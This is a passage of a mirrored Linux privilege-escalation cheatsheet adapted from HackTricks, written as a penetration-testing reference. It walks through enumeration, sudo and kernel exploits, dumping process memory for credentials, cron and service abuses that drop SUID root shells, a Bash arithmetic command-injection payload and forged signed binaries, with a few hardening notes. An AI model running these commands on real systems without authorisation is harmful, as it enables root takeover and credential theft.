daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (101602B)


      1 ---
      2 title: "Linux Privilege Escalation"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/linux-basics/linux-privilege-escalation/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/linux-privilege-escalation/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Linux Privilege Escalation
     14 
     15 For broader background and historical enumeration workflows, compare the g0tmi1k, Payatu, SANS, LPE Workshop, Linux-Privilege-Escalation, and linux-private-i resources listed in the references.<sup>[[5]](#references)[[6]](#references)[[7]](#references)[[10]](#references)[[11]](#references)[[13]](#references)</sup>
     16 
     17 ## System Information
     18 
     19 ### OS info
     20 
     21 Let's start gaining some knowledge of the OS running
     22 
     23 ```bash
     24 (cat /proc/version || uname -a ) 2>/dev/null
     25 lsb_release -a 2>/dev/null # old, not by default on many systems
     26 cat /etc/os-release 2>/dev/null # universal on modern systems
     27 ```
     28 
     29 ### Path
     30 
     31 If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries:
     32 
     33 ```bash
     34 echo $PATH
     35 ```
     36 
     37 ### Env info
     38 
     39 Interesting information, passwords or API keys in the environment variables?
     40 
     41 ```bash
     42 (env || set) 2>/dev/null
     43 ```
     44 
     45 ### Kernel exploits
     46 
     47 Check the kernel version and if there is some exploit that can be used to escalate privileges
     48 
     49 ```bash
     50 cat /proc/version
     51 uname -a
     52 searchsploit "Linux Kernel"
     53 ```
     54 
     55 You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).<sup>[[12]](#references)</sup>\
     56 Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
     57 
     58 To extract all the vulnerable kernel versions from that web you can do:
     59 
     60 ```bash
     61 curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
     62 ```
     63 
     64 Tools that could help to search for kernel exploits are:
     65 
     66 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
     67 [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
     68 [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x)
     69 
     70 Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid.
     71 
     72 Additional kernel exploitation techniques:
     73 
     74 [Adreno A7Xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md)
     75 [Arm64 Static Linear Map Kaslr Bypass](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md)
     76 
     77 ### CVE-2016-5195 (DirtyCow)
     78 
     79 Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
     80 
     81 ```bash
     82 # make dirtycow stable
     83 echo 0 > /proc/sys/vm/dirty_writeback_centisecs
     84 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
     85 https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
     86 https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
     87 ```
     88 
     89 ### Sudo version
     90 
     91 Based on the vulnerable sudo versions that appear in:
     92 
     93 ```bash
     94 searchsploit sudo
     95 ```
     96 
     97 You can check if the sudo version is vulnerable using this grep.
     98 
     99 ```bash
    100 sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
    101 ```
    102 
    103 ### Sudo < 1.9.17p1
    104 
    105 Sudo versions before 1.9.17p1 (**1.9.14 - 1.9.17 < 1.9.17p1**) allows unprivileged local users to escalate their privileges to root via sudo `--chroot` option when `/etc/nsswitch.conf` file is used from a user controlled directory.<sup>[[28]](#references)[[29]](#references)</sup>  
    106 
    107 Here is a [PoC](https://github.com/pr0v3rbs/CVE-2025-32463_chwoot) to exploit that [vulnerability](https://nvd.nist.gov/vuln/detail/CVE-2025-32463). Before running the exploit, make sure that your `sudo` version is vulnerable and that it supports the `chroot` feature.  
    108 
    109 For more information, refer to the original [vulnerability advisory](https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/).<sup>[[28]](#references)</sup>
    110 
    111 ### Sudo host-based rules bypass (CVE-2025-32462)
    112 
    113 Sudo before 1.9.17p1 (reported affected range: **1.8.8–1.9.17**) can evaluate host-based sudoers rules using the **user-supplied hostname** from `sudo -h <host>` instead of the **real hostname**. If sudoers grants broader privileges on another host, you can **spoof** that host locally.<sup>[[29]](#references)</sup>
    114 
    115 Requirements:
    116 - Vulnerable sudo version
    117 - Host-specific sudoers rules (host is neither the current hostname nor `ALL`)
    118 
    119 Example sudoers pattern:
    120 
    121 ```text
    122 Host_Alias     SERVERS = devbox, prodbox
    123 Host_Alias     PROD    = prodbox
    124 alice          SERVERS, !PROD = NOPASSWD:ALL
    125 ```
    126 
    127 Exploit by spoofing the allowed host:
    128 
    129 ```bash
    130 sudo -h devbox id
    131 sudo -h devbox -i
    132 ```
    133 
    134 If resolution of the spoofed name blocks, add it to `/etc/hosts` or use a hostname that already appears in logs/configs to avoid DNS lookups.
    135 
    136 #### sudo < v1.8.28
    137 
    138 From @sickrov
    139 
    140 ```text
    141 sudo -u#-1 /bin/bash
    142 ```
    143 
    144 ### Dmesg signature verification failed
    145 
    146 Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited
    147 
    148 ```bash
    149 dmesg 2>/dev/null | grep "signature"
    150 ```
    151 
    152 ### More system enumeration
    153 
    154 ```bash
    155 date 2>/dev/null #Date
    156 (df -h || lsblk) #System stats
    157 lscpu #CPU info
    158 lpstat -a 2>/dev/null #Printers info
    159 ```
    160 
    161 ## Enumerate possible defenses
    162 
    163 ### AppArmor
    164 
    165 ```bash
    166 if [ `which aa-status 2>/dev/null` ]; then
    167     aa-status
    168   elif [ `which apparmor_status 2>/dev/null` ]; then
    169     apparmor_status
    170   elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
    171     ls -d /etc/apparmor*
    172   else
    173     echo "Not found AppArmor"
    174 fi
    175 ```
    176 
    177 ### Grsecurity
    178 
    179 ```bash
    180 ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
    181 ```
    182 
    183 ### PaX
    184 
    185 ```bash
    186 (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
    187 ```
    188 
    189 ### Execshield
    190 
    191 ```bash
    192 (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
    193 ```
    194 
    195 ### SElinux
    196 
    197 ```bash
    198  (sestatus 2>/dev/null || echo "Not found sestatus")
    199 ```
    200 
    201 ### ASLR
    202 
    203 ```bash
    204 cat /proc/sys/kernel/randomize_va_space 2>/dev/null
    205 #If 0, not enabled
    206 ```
    207 
    208 ## Container Breakout
    209 
    210 If you are inside a container, start with the following container-security section and then pivot into the runtime-specific abuse pages:
    211 
    212 
    213 [Container Security](/hacktricks/linux-hardening/containers-namespaces/container-security/overview)
    214 
    215 ## Drives
    216 
    217 Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info
    218 
    219 ```bash
    220 ls /dev 2>/dev/null | grep -i "sd"
    221 cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
    222 #Check if credentials in fstab
    223 grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
    224 ```
    225 
    226 ## Useful software
    227 
    228 Enumerate useful binaries
    229 
    230 ```bash
    231 which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
    232 ```
    233 
    234 Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar)
    235 
    236 ```bash
    237 (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
    238 ```
    239 
    240 ### Vulnerable Software Installed
    241 
    242 Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\
    243 It is recommended to check manually the version of the more suspicious installed software.
    244 
    245 ```bash
    246 dpkg -l #Debian
    247 rpm -qa #Centos
    248 ```
    249 
    250 If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine.
    251 
    252 > [!NOTE] > _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_
    253 
    254 ## Processes
    255 
    256 Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?)
    257 
    258 ```bash
    259 ps aux
    260 ps -ef
    261 top -n 1
    262 ```
    263 
    264 Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](/hacktricks/linux-hardening/software-information/electron-cef-chromium-debugger-abuse). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
    265 Also **check your privileges over the processes binaries**, maybe you can overwrite someone.
    266 
    267 ### Cross-user parent-child chains
    268 
    269 A child process running under a **different user** than its parent is not automatically malicious, but it is a useful **triage signal**. Some transitions are expected (`root` spawning a service user, login managers creating session processes), but unusual chains can reveal wrappers, debug helpers, persistence, or weak runtime trust boundaries.
    270 
    271 Quick review:
    272 
    273 ```bash
    274 ps -eo pid,ppid,user,comm,args --sort=ppid
    275 pstree -alp
    276 ```
    277 
    278 If you find a surprising chain, inspect the parent command line and all files that influence its behavior (`config`, `EnvironmentFile`, helper scripts, working directory, writable arguments). In several real privesc paths the child itself was not writable, but the **parent-controlled config** or helper chain was.
    279 
    280 ### Deleted executables and deleted-open files
    281 
    282 Runtime artifacts are often still accessible **after deletion**. This is useful both for privilege escalation and for recovering evidence from a process that already has sensitive files open.
    283 
    284 Check for deleted executables:
    285 
    286 ```bash
    287 pid=<PID>
    288 ls -l /proc/$pid/exe
    289 readlink /proc/$pid/exe
    290 tr '\0' ' ' </proc/$pid/cmdline; echo
    291 ```
    292 
    293 If `/proc/<PID>/exe` points to `(deleted)`, the process is still running the old binary image from memory. That is a strong signal to investigate because:
    294 
    295 - the removed executable may contain interesting strings or credentials
    296 - the running process may still expose useful file descriptors
    297 - a deleted privileged binary can indicate recent tampering or attempted cleanup
    298 
    299 Collect deleted-open files globally:
    300 
    301 ```bash
    302 lsof +L1
    303 ```
    304 
    305 If you find an interesting descriptor, recover it directly:
    306 
    307 ```bash
    308 ls -l /proc/<PID>/fd
    309 cat /proc/<PID>/fd/<FD>
    310 ```
    311 
    312 This is especially valuable when a process still has a deleted secret, script, database export, or flag file open.
    313 
    314 ### Process monitoring
    315 
    316 You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
    317 
    318 ### Process memory
    319 
    320 Some services of a server save **credentials in clear text inside the memory**.\
    321 Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\
    322 However, remember that **as a regular user you can read the memory of the processes you own**.
    323 
    324 > [!WARNING]
    325 > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user.
    326 >
    327 > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace:
    328 >
    329 > - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
    330 > - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged.
    331 > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
    332 > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
    333 
    334 #### GDB
    335 
    336 If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.
    337 
    338 ```bash
    339 gdb -p <FTP_PROCESS_PID>
    340 (gdb) info proc mappings
    341 (gdb) q
    342 (gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
    343 (gdb) q
    344 strings /tmp/mem_ftp #User and password
    345 ```
    346 
    347 #### GDB Script
    348 
    349 ```bash
    350 #!/bin/bash
    351 #./dump-memory.sh <PID>
    352 grep rw-p /proc/$1/maps \
    353     | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
    354     | while read start stop; do \
    355     gdb --batch --pid $1 -ex \
    356     "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
    357 done
    358 ```
    359 
    360 #### /proc/$pid/maps & /proc/$pid/mem
    361 
    362 For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file.
    363 
    364 ```bash
    365 procdump()
    366 (
    367     cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
    368     while read a b; do
    369         dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
    370            skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
    371     done )
    372     cat $1*.bin > $1.dump
    373     rm $1*.bin
    374 )
    375 ```
    376 
    377 #### /dev/mem
    378 
    379 `/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\
    380 Typically, `/dev/mem` is only readable by **root** and **kmem** group.
    381 
    382 ```text
    383 strings /dev/mem -n10 | grep -i PASS
    384 ```
    385 
    386 ### ProcDump for linux
    387 
    388 ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
    389 
    390 ```text
    391 procdump -p 1714
    392 
    393 ProcDump v1.2 - Sysinternals process dump utility
    394 Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
    395 Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
    396 Monitors a process and writes a dump file when the process meets the
    397 specified criteria.
    398 
    399 Process:		sleep (1714)
    400 CPU Threshold:		n/a
    401 Commit Threshold:	n/a
    402 Thread Threshold:		n/a
    403 File descriptor Threshold:		n/a
    404 Signal:		n/a
    405 Polling interval (ms):	1000
    406 Threshold (s):	10
    407 Number of Dumps:	1
    408 Output directory for core dumps:	.
    409 
    410 Press Ctrl-C to end monitoring without terminating the process.
    411 
    412 [20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
    413 [20:20:58 - INFO]: Timed:
    414 [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
    415 ```
    416 
    417 ### Tools
    418 
    419 To dump a process memory you could use:
    420 
    421 - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
    422 - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you
    423 - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required)
    424 
    425 ### Credentials from Process Memory
    426 
    427 #### Manual example
    428 
    429 If you find that the authenticator process is running:
    430 
    431 ```bash
    432 ps -ef | grep "authenticator"
    433 root      2027  2025  0 11:46 ?        00:00:00 authenticator
    434 ```
    435 
    436 You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory:
    437 
    438 ```bash
    439 ./dump-memory.sh 2027
    440 strings *.dump | grep -i password
    441 ```
    442 
    443 #### mimipenguin
    444 
    445 The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly.
    446 
    447 | Feature                                           | Process Name         |
    448 | ------------------------------------------------- | -------------------- |
    449 | GDM password (Kali Desktop, Debian Desktop)       | gdm-password         |
    450 | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
    451 | LightDM (Ubuntu Desktop)                          | lightdm              |
    452 | VSFTPd (Active FTP Connections)                   | vsftpd               |
    453 | Apache2 (Active HTTP Basic Auth Sessions)         | apache2              |
    454 | OpenSSH (Active SSH Sessions - Sudo Usage)        | sshd:                |
    455 
    456 #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
    457 
    458 ```bash
    459 # un truffleproc.sh against your current Bash shell (e.g. $$)
    460 ./truffleproc.sh $$
    461 # coredumping pid 6174
    462 Reading symbols from od...
    463 Reading symbols from /usr/lib/systemd/systemd...
    464 Reading symbols from /lib/systemd/libsystemd-shared-247.so...
    465 Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
    466 [...]
    467 # extracting strings to /tmp/tmp.o6HV0Pl3fe
    468 # finding secrets
    469 # results in /tmp/tmp.o6HV0Pl3fe/results.txt
    470 ```
    471 
    472 ## Scheduled/Cron jobs
    473 
    474 ### Crontab UI (alseambusher) running as root – web-based scheduler privesc
    475 
    476 If a web “Crontab UI” panel (alseambusher/crontab-ui) runs as root and is only bound to loopback, you can still reach it via SSH local port-forwarding and create a privileged job to escalate.<sup>[[1]](#references)[[4]](#references)</sup>
    477 
    478 Typical chain
    479 - Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000`
    480 - Find credentials in operational artifacts:
    481   - Backups/scripts with `zip -P <password>`
    482   - systemd unit exposing `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
    483 - Tunnel and login:
    484 ```bash
    485 ssh -L 9001:localhost:8000 user@target
    486 # browse http://localhost:9001 and authenticate
    487 ```
    488 - Create a high-priv job and run immediately (drops SUID shell):
    489 ```bash
    490 # Name: escalate
    491 # Command:
    492 cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
    493 ```
    494 - Use it:
    495 ```bash
    496 /tmp/rootshell -p   # root shell
    497 ```
    498 
    499 Hardening
    500 - Do not run Crontab UI as root; constrain with a dedicated user and minimal permissions
    501 - Bind to localhost and additionally restrict access via firewall/VPN; do not reuse passwords
    502 - Avoid embedding secrets in unit files; use secret stores or root-only EnvironmentFile
    503 - Enable audit/logging for on-demand job executions
    504 
    505 Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
    506 
    507 ```bash
    508 crontab -l
    509 ls -al /etc/cron* /etc/at*
    510 cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
    511 ```
    512 
    513 If `run-parts` is used, check which names will really execute:
    514 
    515 ```bash
    516 run-parts --test /etc/cron.hourly
    517 run-parts --test /etc/cron.daily
    518 ```
    519 
    520 This avoids false positives. A writable periodic directory is only useful if your payload filename matches the local `run-parts` rules.
    521 
    522 ### Cron path
    523 
    524 For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
    525 
    526 (_Note how the user "user" has writing privileges over /home/user_)
    527 
    528 If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\
    529 Then, you can get a root shell by using:
    530 
    531 ```bash
    532 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
    533 #Wait cron job to be executed
    534 /tmp/bash -p #The effective uid and gid to be set to the real uid and gid
    535 ```
    536 
    537 ### Cron using a script with a wildcard (Wildcard Injection)
    538 
    539 If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example:
    540 
    541 ```bash
    542 rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
    543 ```
    544 
    545 **If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).**
    546 
    547 Read the following page for more wildcard exploitation tricks:
    548 
    549 
    550 [Wildcards Spare Tricks](/hacktricks/linux-hardening/interesting-files-permissions/wildcards-spare-tricks)
    551 
    552 
    553 ### Bash arithmetic expansion injection in cron log parsers
    554 
    555 Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs.<sup>[[22]](#references)</sup>
    556 
    557 - Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
    558 
    559 - Typical vulnerable pattern:
    560   ```bash
    561   #!/bin/bash
    562   # Example: parse a log and "sum" a count field coming from the log
    563   while IFS=',' read -r ts user count rest; do
    564       # count is untrusted if the log is attacker-controlled
    565       (( total += count ))     # or: let "n=$count"
    566   done < /var/www/app/log/application.log
    567   ```
    568 
    569 - Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.
    570   ```bash
    571   # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
    572   $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
    573   # When the root cron parser evaluates (( total += count )), your command runs as root.
    574   ```
    575 
    576 ### Cron script overwriting and symlink
    577 
    578 If you **can modify a cron script** executed by root, you can get a shell very easily:
    579 
    580 ```bash
    581 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
    582 #Wait until it is executed
    583 /tmp/bash -p
    584 ```
    585 
    586 If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you
    587 
    588 ```bash
    589 ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
    590 ```
    591 
    592 ### Symlink validation and safer file handling
    593 
    594 When reviewing privileged scripts/binaries that read or write files by path, verify how links are handled:
    595 
    596 - `stat()` follows a symlink and returns metadata of the target.
    597 - `lstat()` returns metadata of the link itself.
    598 - `readlink -f` and `namei -l` help resolve the final target and show permissions of each path component.
    599 
    600 ```bash
    601 readlink -f /path/to/link
    602 namei -l /path/to/link
    603 ```
    604 
    605 For defenders/developers, safer patterns against symlink tricks include:
    606 
    607 - `O_EXCL` with `O_CREAT`: fail if the path already exists (blocks attacker pre-created links/files).
    608 - `openat()`: operate relative to a trusted directory file descriptor.
    609 - `mkstemp()`: create temporary files atomically with secure permissions.
    610 
    611 ### Custom-signed cron binaries with writable payloads
    612 Blue teams sometimes "sign" cron-driven binaries by dumping a custom ELF section and grepping for a vendor string before executing them as root. If that binary is group-writable (e.g., `/opt/AV/periodic-checks/monitor` owned by `root:devs 770`) and you can leak the signing material, you can forge the section and hijack the cron task:<sup>[[2]](#references)</sup>
    613 
    614 1. Use `pspy` to capture the verification flow. In Era, root ran `objcopy --dump-section .text_sig=text_sig_section.bin monitor` followed by `grep -oP '(?<=UTF8STRING        :)Era Inc.' text_sig_section.bin` and then executed the file.
    615 2. Recreate the expected certificate using the leaked key/config (from `signing.zip`):
    616    ```bash
    617    openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
    618    ```
    619 3. Build a malicious replacement (e.g., drop a SUID bash, add your SSH key) and embed the certificate into `.text_sig` so the grep passes:
    620    ```bash
    621    gcc -fPIC -pie monitor.c -o monitor
    622    objcopy --add-section .text_sig=cert.pem monitor
    623    objcopy --dump-section .text_sig=text_sig_section.bin monitor
    624    strings text_sig_section.bin | grep 'Era Inc.'
    625    ```
    626 4. Overwrite the scheduled binary while preserving execute bits:
    627    ```bash
    628    cp monitor /opt/AV/periodic-checks/monitor
    629    chmod 770 /opt/AV/periodic-checks/monitor
    630    ```
    631 5. Wait for the next cron run; once the naive signature check succeeds, your payload runs as root.
    632 
    633 ### Frequent cron jobs
    634 
    635 You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
    636 
    637 For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do:
    638 
    639 ```bash
    640 for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
    641 ```
    642 
    643 **You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts).
    644 
    645 ### Root backups that preserve attacker-set mode bits (pg_basebackup)
    646 
    647 If a root-owned cron wraps `pg_basebackup` (or any recursive copy) against a database directory you can write to, you can plant a **SUID/SGID binary** that will be recopied as **root:root** with the same mode bits into the backup output.<sup>[[26]](#references)</sup>
    648 
    649 Typical discovery flow (as a low-priv DB user):
    650 - Use `pspy` to spot a root cron calling something like `/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/` every minute.
    651 - Confirm the source cluster (e.g., `/var/lib/postgresql/14/main`) is writable by you and the destination (`/opt/backups/current`) becomes owned by root after the job.
    652 
    653 Exploit:
    654 
    655 ```bash
    656 # As the DB service user owning the cluster directory
    657 cd /var/lib/postgresql/14/main
    658 cp /bin/bash .
    659 chmod 6777 bash
    660 
    661 # Wait for the next root backup run (pg_basebackup preserves permissions)
    662 ls -l /opt/backups/current/bash  # expect -rwsrwsrwx 1 root root ... bash
    663 /opt/backups/current/bash -p    # root shell without dropping privileges
    664 ```
    665 
    666 This works because `pg_basebackup` preserves file mode bits when copying the cluster; when invoked by root the destination files inherit **root ownership + attacker-chosen SUID/SGID**. Any similar privileged backup/copy routine that keeps permissions and writes into an executable location is vulnerable.
    667 
    668 ### Invisible cron jobs
    669 
    670 It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char):
    671 
    672 ```bash
    673 #This is a comment inside a cron config file\r* * * * * echo "Surprise!"
    674 ```
    675 
    676 To detect this kind of stealth entry, inspect cron files with tools that expose control characters:
    677 
    678 ```bash
    679 cat -A /etc/crontab
    680 cat -A /etc/cron.d/*
    681 sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null
    682 xxd /etc/crontab | head
    683 ```
    684 
    685 ## Services
    686 
    687 ### Writable _.service_ files
    688 
    689 Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\
    690 For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`**
    691 
    692 ### Writable service binaries
    693 
    694 Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed.
    695 
    696 ### systemd PATH - Relative Paths
    697 
    698 You can see the PATH used by **systemd** with:
    699 
    700 ```bash
    701 systemctl show-environment
    702 ```
    703 
    704 If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like:
    705 
    706 ```bash
    707 ExecStart=faraday-server
    708 ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
    709 ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
    710 ```
    711 
    712 Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`).
    713 
    714 **Learn more about services with `man systemd.service`.**
    715 
    716 ## **Timers**
    717 
